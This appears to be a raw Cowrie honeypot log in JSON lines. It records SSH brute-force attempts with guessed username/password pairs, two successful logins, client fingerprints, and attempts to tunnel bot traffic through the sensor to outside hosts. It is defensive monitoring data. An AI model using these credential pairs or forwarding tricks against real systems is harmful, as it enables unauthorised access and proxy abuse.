{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password123","message":"login attempt [ubuntu/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:18.693294Z","src_ip":"91.92.40.36","session":"e4174930a6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:20.573387Z","src_ip":"91.92.40.36","session":"e4174930a6cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"187f831c987e","protocol":"ssh","message":"New connection: 91.92.40.36:55918 (159.203.135.109:22) [session: 187f831c987e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:20.723662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:21.936645Z","src_ip":"91.92.40.36","session":"187f831c987e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:21.939991Z","src_ip":"91.92.40.36","session":"187f831c987e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"21","message":"login attempt [mysql/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:26.268195Z","src_ip":"91.92.40.36","session":"187f831c987e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.28330612182617,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:27.842253Z","src_ip":"128.199.8.54","session":"4d9092f23d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32150,"dst_ip":"159.203.135.109","dst_port":22,"session":"42ee463dfb21","protocol":"ssh","message":"New connection: 91.92.40.36:32150 (159.203.135.109:22) [session: 42ee463dfb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:28.215823Z"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:28.491467Z","src_ip":"91.92.40.36","session":"187f831c987e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55986,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbfd90495b3e","protocol":"ssh","message":"New connection: 109.237.96.109:55986 (10.17.0.5:22) [session: fbfd90495b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:28.922302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:28.926766Z","src_ip":"109.237.96.109","session":"fbfd90495b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:29.009919Z","src_ip":"109.237.96.109","session":"fbfd90495b3e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:29.126035Z","src_ip":"91.92.40.36","session":"42ee463dfb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:29.129261Z","src_ip":"91.92.40.36","session":"42ee463dfb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cuddles","message":"login attempt [root/cuddles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:29.263353Z","src_ip":"109.237.96.109","session":"fbfd90495b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":53129,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc8ded7f6c2c","protocol":"ssh","message":"New connection: 23.175.50.52:53129 (10.17.0.5:22) [session: dc8ded7f6c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.029666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.034252Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.225338Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.350241Z","src_ip":"109.237.96.109","session":"fbfd90495b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":50072,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d63e27bdf24","protocol":"ssh","message":"New connection: 173.208.192.194:50072 (10.17.0.5:22) [session: 0d63e27bdf24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.487238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.491862Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:30.607991Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:31.445444Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123qwe","message":"login attempt [es/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:31.656567Z","src_ip":"91.92.40.36","session":"42ee463dfb21","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:32.666357Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:33.272199Z","src_ip":"91.92.40.36","session":"42ee463dfb21","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.557483Z","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.562515Z","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.565799Z","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.624773Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1138\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; VOG-AL00 Build/HUAWEIVOG-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ez9HbXVvKi9GJl53MUwkPA%3D%3DNG5PiPzgr3JG5EGzsjUsorFC3P%2FMZzKXseoRVpQ6SuLabxkTQV3pDY8MCKibI%2FJUx2ucCWbYTCvGqLBETMUL4%2B%2BZP08%2F83H5jWWT99GciPoZAt4qzmB5V4fZZ9cnM4WqMBlGjZIK5pREsC3vdmt5F9Y7oqWNfkBDb%2BtaXzHA3%2B8NsaVqPXFbhp0vBZN6knpfqAUozYPwYUs%2BesT%2FeFklSlBt8gslVMKvB6luXasbiIM4PQENnTXDitmTQSXQulETIKs5FaOFe7YRa3wB2ydl1leqSY3pyery8ajy2dhf627ZnK1BBrDZmXU2NIy2fASrQmq2QqAX4JQ%2BsaTIzmUw%2FszBUHc91szPJn7FKvPXQrjhPinWKb7pmTtlLgB0w2NyUhEOmG8z6B6HRvATi7oj%2FG6Mm4N0I32mx7Xvcp1T375IwcH5Yw3w1V9BoPHrNTa80moPcfidM%2Fn4Bep2S5GF8pBYZEbvzwMx0O3S5bMKRRZB0wgoZ%2B2G75JlOCy2%2FUae1eYIxucvsMYPGGKaT5du7pq9GtmYGoX2fFw7yBnmGNN%2FLrRdfikZ0G7kEemczj4Eb7wUGyRZzJ55T3jI3le7yfN6w8nrmD%2BsYynAwKM4UZeL22BJayimuv7RWO21dc3S0spmiry9ayTa1YLeCS1FMWXORu5Ehgmk7wcOKS0Pk7P366c6ICRm9B12k71t1ulQgvnzDVrPj6sPMcyoX%2BOtdjK%2B4t%2Fgg7PXNogsD5pLh%2FI6PQ%2BSifli3xcVTIwcDzDeNG3qMgR7vCk8J1KpGX98cSx8x8jYft6Fx5pN72SmfjZmKuIkoTtgqOvDCtKAs%2Fq9qdG%2BBDLwfGVWyxm45eH5YfGqgTXfDNXxXFiqdxXSNoxkkbpKMAvY5oziggYInutuq9Z%2FTq0Oa2zzonBZLG717WhO4x03xiSbJwbHVS7wsRG5bfehH4dBcMATx%2FAU5ixwFjf76kWgPbz8YUzkjlWVX3JadjNjbuj7dLr4f2UNot8Ly4w%2FN97%2Fj4xcQS2cg0qMtX2Z8k6LardOK1bWiOSXSg%3D%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1138\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; VOG-AL00 Build/HUAWEIVOG-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ez9HbXVvKi9GJl53MUwkPA%3D%3DNG5PiPzgr3JG5EGzsjUsorFC3P%2FMZzKXseoRVpQ6SuLabxkTQV3pDY8MCKibI%2FJUx2ucCWbYTCvGqLBETMUL4%2B%2BZP08%2F83H5jWWT99GciPoZAt4qzmB5V4fZZ9cnM4WqMBlGjZIK5pREsC3vdmt5F9Y7oqWNfkBDb%2BtaXzHA3%2B8NsaVqPXFbhp0vBZN6knpfqAUozYPwYUs%2BesT%2FeFklSlBt8gslVMKvB6luXasbiIM4PQENnTXDitmTQSXQulETIKs5FaOFe7YRa3wB2ydl1leqSY3pyery8ajy2dhf627ZnK1BBrDZmXU2NIy2fASrQmq2QqAX4JQ%2BsaTIzmUw%2FszBUHc91szPJn7FKvPXQrjhPinWKb7pmTtlLgB0w2NyUhEOmG8z6B6HRvATi7oj%2FG6Mm4N0I32mx7Xvcp1T375IwcH5Yw3w1V9BoPHrNTa80moPcfidM%2Fn4Bep2S5GF8pBYZEbvzwMx0O3S5bMKRRZB0wgoZ%2B2G75JlOCy2%2FUae1eYIxucvsMYPGGKaT5du7pq9GtmYGoX2fFw7yBnmGNN%2FLrRdfikZ0G7kEemczj4Eb7wUGyRZzJ55T3jI3le7yfN6w8nrmD%2BsYynAwKM4UZeL22BJayimuv7RWO21dc3S0spmiry9ayTa1YLeCS1FMWXORu5Ehgmk7wcOKS0Pk7P366c6ICRm9B12k71t1ulQgvnzDVrPj6sPMcyoX%2BOtdjK%2B4t%2Fgg7PXNogsD5pLh%2FI6PQ%2BSifli3xcVTIwcDzDeNG3qMgR7vCk8J1KpGX98cSx8x8jYft6Fx5pN72SmfjZmKuIkoTtgqOvDCtKAs%2Fq9qdG%2BBDLwfGVWyxm45eH5YfGqgTXfDNXxXFiqdxXSNoxkkbpKMAvY5oziggYInutuq9Z%2FTq0Oa2zzonBZLG717WhO4x03xiSbJwbHVS7wsRG5bfehH4dBcMATx%2FAU5ixwFjf76kWgPbz8YUzkjlWVX3JadjNjbuj7dLr4f2UNot8Ly4w%2FN97%2Fj4xcQS2cg0qMtX2Z8k6LardOK1bWiOSXSg%3D%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.628076Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:34.633800Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g\\x8eh\\x06t}\\xe6FT\\xfec\\x14c\\x95\\'\\xff\\xaf\\xfb\\x8d\\xbf\\x8c\\xa9\\x0f\\x04\\xfe~\\x97\\x0f\\xd9\\x80\\xb6\\t \\x12q\\xc7F\\r\\xf9M\\xeeK\\x8ct\\xcfG\\xda\\x19\\x16%\\xd1D\\xc1\\xe8\\xfb\\xb4\\x14(\\x11\\x13I\\xae\\xe2\\xce\\xfe\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 z\\xce1\\x92$\\xf0F\"\\xd9\\x0c\\xcfx\\xd8\\x18\\xf4\\xd2\\xdd\\xe9\\xd9\\xd64R\\xc4f\\xa0\\x07Xf\\xaf\\xa0\\x9cZ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x